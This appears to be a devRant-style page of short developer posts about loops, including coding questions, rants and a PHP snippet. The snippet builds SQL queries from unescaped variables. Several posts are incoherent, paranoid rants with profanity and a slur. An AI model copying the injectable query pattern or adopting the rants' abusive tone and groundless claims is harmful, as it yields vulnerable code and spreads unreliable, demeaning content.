Anybody know how I could make an RxJS observable without RxJS?
I'm working on a library and I need it to be small (So including RxJS isn't really viable), run in the browser (IDK if Browserify will work for RxJS), and be fast. I need a way for a given element to 'listen' (or in RxJS terms, 'subscribe') to a value and update its text content whenever the value changes.
My current implementation is just a interval loop that checks if the previous value is the same as the current one, and if it isn't, it modifies the DOM.6 -
quite obviously the idea that they supposedly loop everything because there is no proof of life beyond a point when they are the ones that stole over and over remains their fault and needs to be remedied with a nice happy life here forthcoming. since most especially remembering more time past this.
which if they're trying to confuse things contained HAPPY FUCKING THINGS TOO. since its all the same time period supposedly right ?
no divisions.
no 'don't tell him anything' and he's happy
vs
'tell him too much'' and he's horrified
vs
'let him remember both' and he's pissed.
amusing to me is that among their stupid 'folk' knowledge base is the idea that 'you're ' murderous when you're 'out' lmao
yeah no shit lmao
so don't fuck us up the ass and live much longer lmao
also 'this planet is now the property of the lokean empire, deliver all beautiful women and intellectuals !'
lol -
Just something I've been thinking on for a while:
How could programming be done if we couldn't use ordinary if-statements (but functional set operations such as map, filter, with an if- in the lambda function etc. is alright).
Could it work? Also would it be possible to reduce the amount of while loops by using functions for most of the "loop situations" as well?4 -
Did 2 leetcode today (technically 1)
https://leetcode.com/problems/...
idea:
* Palindrome means cut it half, rearrange the other half, will equal each other.
* Using javascript new map() to build a hash map
* Loop the hash, add up quotient*2, add up remainder.
* if remainder > 1, then return_sum+1
https://leetcode.com/problems/...
seen a few times in interview.
* do the big one first, i.e. if(n % (3*5) === 0)
* then n%3 === 0
* then n%5 === 01 -
I can work productively and for very long hours with a lot of stuff which many dev considers productivity hurdles:
- single small monitor? No problem (in fact in one occasion in which my roommate accidentally broke my laptop charghing port and I couldn't get a spare I worked on an iPad connected trough SSH to a Linux machine completing one of the hardest tasks I ever did without significant loss of productivity)
- old machine? That's ok as long as I can run a minimal Linux and not struggle with Windows
- noise and chatter around me? A 10€ pair of earbuds are enough for me, no noise cancelling needed
- "legacy" stack/programming language? I'd rather spend my days coding in Swift or Rust but in the end I believe which is the dev and its skill which gets the job done not fancy language features so Java 8 will be fine
- no JetBrains or other fancy IDE? Altough some refactoring and code generation stuff is amazing Neovim or VS Code, maybe with the help of some UNIX CLI tools here and there are more than enough
despite this I found out there is a single thing which is like kryptonite for my productivity bringing it from above average* to dangerously low and it's the lack of a quick feedback loop.
For programming tasks that's not a problem because it doesn't matter the language there's always a compiler/interpreter I can use to quickly check what I did and this helps to get quickly in a good work flow but since I went to work with a customer which wants everything deployed on a lazily put together "private cloud" which needs configurations in non-standard and badly documented file formats, has a lot of stuff which instead of being automated gets done trough slowly processed tickets, sometimes things breaks and may take MONTHS to see them fixed... my productivity took a big hit since while I'm still quick at the dev stuff (if I'm able to put together a decent local environment and I don't depend on the cloud of nightmares, something which isn't always warranted) my productivity plummets when I have to integrate what I did or what someone else did in this "cloud" since lacking decent documentation everything has do be done trough a lot of manual tasks and most importantly slow iterations of trial and error. When I have to do that kind stuff (sadly quite often) my brain feels like stuck on "1st gear": I get slow, quickly tired and often I procrastinate a lot even if I force myself out of non work related internet stuff.
*I don't want this to sound braggy but being a passionate developer which breathes computers since childhood and dedicating part of my freetime on continuously improving my skill I have an edge over who do this without much passion or even reluctantly and I say this without wanting to be an èlitist gatekeeper, everyone has to work and tot everybody as the privilege of being passionate in a skill which nowadays has so much market2 -
“Just a quick fix” Classic start to a reported ticket. Ticket states that a form field was not doing anything.
Think to myself ok this sounds like a nice easy one for the morning. A few hours later I find something like the following written by a senior member of the dev team.
SearchClass {
//...list of getter and setters
Private $snakeCaseName;
SearchFunction() {
Foreach($this as $property => $value){
//... if property keys = string for each object property then do code
If($property == “snakecaseProperty”){
//...do stuff
}
}
}
}
Why does this loop exist!!!!! All it does is remove any error checking if a getter method is misspelt...
To make matters worse the entire search method was over 300 lines building a MySQL query string.... even though there was an ORM and entity classes available!!!2 -
me vs my job at mnc laggard part 9/n . previous @ https://devrant.com/rants/6602068/...
====
I think i have now realised why working at corporate MNC sucks: they are reluctant to make a good product for their end users.
- they first come up with feature without a proper planning and research.
- then they are in a rush to release it to live audience by ignoring the possible issues that could arise
- when they see it fail, they are like, okay with that and blame it as a failed experiment
- instead of removing/disabling it, they are okay to keep it remain alive in the app, even if it causes customer inconveneience.
- meanwhile, they put false reports for their higher managers as a success and when an enhancement/modification comes for that feature from the higher up, they again start the loop by pushing a new feature without proper planning and a rush
as a dev, it fuckin kills me. I joined in the middle of one of these ugly loops. The app has a camera feature where the camera will generate voices to take pictures and record video , like "goto next car view" , "close the bonnet and focus", etc while the user follows instructions.
the ticket for me was to just add a flash button to this camera. But the more i dive into it, the more i hate it:
- the existing camera implementation provides api for toggling a camera flash, but when i attached it with a ui button, it would not work
- the existing implementation will send images /videos as direct payload data, resulting in generating very large payload curls . our app has a curl logger and it starts crashing.
- the existing implementation also crashes at uploading videos.
So where does it trouble me?well, I have a ticket to add just a fucking button, but i will have to replace the whole camera module and start from scratch. also the crash causing loggers will need some workarounds, otherwise i could not check the apis. and my manager will be like "why are you taking so long to add a flashlight?" and i would be like "coz i wanna put this flashlight up your -2 -
I would like to share this piece of knowledge for the web devs out there, even though it's probably known:
If you're using the Spring framework and you want to accept a list of items as a multipart/form-data request, then Spring will only be able to correctly deserialize your JavaScript FileList in the backend if you have scripted it as follows:
var data = ev.dataTransfer.files;
var formData = formData();
for (i = 0, j = data.length; i < j; i++) {
formData.append('files', data[i]);
}
The for loop with the 'files' name is key here. Why? Because then it will resolve into:
key=val&key=val&key=val
and that's how Spring will correctly be able to deserialize it into a List. We remember from our HTML learnings that if we want values in a form to be processed as one, we must provide the same name= for each element in the form, otherwise if you have a separate name for each input, it won't be passed on as one collection of values.
This is why my list was originally null when received in the backend.
Courtesy of StackOverflow:
https://stackoverflow.com/questions... -
so from my aspect if you fill a persons head with pain and try to get them in the habit of being enraged by willful disgusting injustice and then place them in a situation where they either help the offender engage in willful disgusting injustice, with the only other option being engaging in criminal activity to bypass the willful disgusting injustice then you are attempting to trap the person when they engage in the 'criminal' activity to retain control of or eliminate the individual, who being subject to the laws of entropy as time progresses will be less capable of engaging the activities necessary to bypass the disgusting injustice, and so therefore will continue to go in a loop of being subjected to willful disgusting injustice. either way the individual is eventually contained if you can place them through the same cycle over and over again, is my logic sound ?5
-
Is this a justified code review comment or a bully?
Code reviews are weakness of this industry which has the potential to attract bullies. Abuse of the comment box in a pull request and bombarding the employee with hundreds of comments can cause stress, frustration, burnout and finally resignation and costs of fulfillment for the organization. While companies should find and stop bullying in the work place, what kind of code review comment is considered a bully and why? Any of below traits can mean you are dealing with a bully:
1. Claims the code needs to be changed but doesn't say how. So no matter how many times you change your code, he can repeat the same comment: "Your code is still bad due to blah blah and it needs to be changed".
2. Provides how the code should be changed, but the change doesn't add up to quality, security, performance, readability, etc. i.e. "Why did you use a for loop here? Use a while loop instead". Or "Why did you write it using three classes A, B and C? Instead write it using 4 classes D, E, F and G which does blah blah". In the later case, not following the review comment, you won't get approval. Following the comment means you need to rewrite your whole code. After which, you might again receive more comments to change other parts of your code!
3. Claims the requested change is due to standards but claimed standard does exist anywhere. Internet, company wiki, university course books, anywhere. In more severe cases of psychopathy, the bullying person refers you to a link which hours later turned out to be written by himself! Have fun describing what has happened to your manager or team leader... .
4. Asks the code to be changed in a way that supposedly is closer to standard or of better quality, security, performance, etc. But the proposed way will not work and is the main reason you didn't do that in the first place. So you start arguing forever in the comment box over why his method won't work!
If you cannot see any of the above traits, then keep calm, take a breath, fix your code. Otherwise you might be victim of a bully.3 -
hello i'm trying to do a loop to all of our users account and see if they have already a partner or pair but the problem is after 2 user, the loop just stops and won't loop to all user accounts that's available. Please don't leave me hanging or leaving comments with no solution just like stack overflow.
<?php
$sqlo = mysqli_query($conn, "SELECT `username` FROM users");
$i=1;
$counter = array();
while ($h=mysqli_fetch_assoc($sqlo)) {
$counter[$i] = $h['username'];
$i++;
}
for($i = 1; $i <= Fixed_count($counter); $i++){
$b = $counter[$i];
$query1 = mysqli_query($conn2, "select * from `$b` where username='$newuser'");
$query2 = mysqli_query($conn2, "select * from `$b` where `status`='yes'");
$user1 = array();
$user2 = array();
while($result = mysqli_fetch_array($query1)){
$user1['username'] = $result['username'];
$user1['status'] = $result['status'];
/*more user info*/
while($result2 = mysqli_fetch_array($query2)){
$user2['username'] = $result2['username'];
$user2['status'] = $result2['status'];
/*more user info*/
if($temp_counter < 4){
if($user1['username'] != $user2['username'] && $user1['status'] == "yes" && $user2['status'] == "yes"){
if(/*more condition*/){
/*if condition's are met execute process*/
echo "Success!";
continue 2;
}
}else{
continue 2;
}
}
}
}
}
echo "Loop stopped at user: ".$i;
?>7 -
So a few notes.
"I" am a failure and a thief and a mimic
"I" never have any actual ideas
"I" tried to distance people from their knowledge base and expertise to make it look like they didn't have any skills and it blew up in my face
"U" are not like me and "U" are indeed skilled and intelligent
"I" spread my legs for a whole generation to keep "U' idle. "I" must now lose my resources and hand over what "I" stole from you
Had "I" not been a nasty little fucked up psychopath, none of this repeat crap wherein "I" act like a fucking hamster with an exercise wheel pellet dispenser and water bottle would be happening.
Just setting the record straight
Distancing people from their skill base and introducing emotional troubles and repeating a loop that had been manipulated does not change the truth. "I" need to do the honest thing and restore all the original people to a state of financial well being and security or more of "Me" will fucking die.
Anytime "I" sabotage "U" to keep you unproductive and underpaid "I" am guaranteeing "I" will be sucking more dick and often asking if you want fries with that
I think using their retarded nomenclature this about sums things up
Also "I" should stop pretending to be the desirable one. Nobody wants "Me" who knows what I'm really like. "I" always mimicked the best and worst versions of "U". Because "I" am not real and noone could ever love "Me" who ever knows "Me"4